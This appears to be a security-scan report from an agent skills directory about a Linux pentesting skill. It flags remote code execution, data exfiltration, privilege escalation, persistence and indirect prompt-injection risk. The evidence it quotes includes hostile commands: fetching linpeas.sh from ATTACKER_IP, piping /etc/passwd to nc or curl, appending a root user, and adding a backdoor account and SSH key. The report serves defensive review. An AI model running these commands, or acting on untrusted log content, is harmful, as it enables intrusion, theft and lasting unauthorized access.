The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides instructions for downloading and executing scripts from untrusted remote sources. Specifically, it includes patterns to fetch linpeas.sh from an arbitrary ATTACKER_IP via wget, save it to /tmp, and execute it using chmod +x or bash. Evidence found in SKILL.md: 'wget http://ATTACKER_IP/linpeas.sh -O /tmp/linpeas.sh' and 'wget http://ATTACKER_IP:8000/linpeas.sh -O /tmp/lp.sh'.
[DATA_EXFILTRATION]: Instructions are provided to send sensitive system files to external servers. This includes using netcat and curl to exfiltrate /etc/passwd contents. Evidence found in SKILL.md: 'cat /etc/passwd | nc ATTACKER_IP PORT' and 'curl -X POST -d @/etc/passwd http://ATTACKER_IP:PORT/'.
[PRIVILEGE_ESCALATION]: The skill contains multiple techniques to bypass system security controls and gain root access, including SUID exploitation, sudo privilege abuse, and modifying /etc/passwd. Evidence found in SKILL.md: 'echo 'newroot:HASH:0:0:root:/root:/bin/bash' >> /etc/passwd' and 'export PATH=/tmp:$PATH' for PATH hijacking.
[PERSISTENCE]: The skill documents methods to maintain unauthorized access to a system across sessions. This includes adding an attacker-controlled SSH key to the root user and creating a new sudo-capable backdoor user. Evidence found in SKILL.md: 'echo 'YOUR_PUBLIC_KEY' >> /root/.ssh/authorized_keys' and 'useradd -m -s /bin/bash backdoor'.
[INDIRECT_PROMPT_INJECTION]: The skill creates an attack surface by ingesting potentially untrusted data from system logs and file searches while possessing high-impact capabilities. Evidence Chain: 1. Ingestion points: Reads /var/log/syslog, /etc/passwd, and user home directories (SKILL.md). 2. Boundary markers: None present. 3. Capability inventory: Includes network exfiltration (curl/nc), file system writes (/etc/passwd), and shell script execution (SKILL.md). 4. Sanitization: None detected.

linux-pentesting-command-reference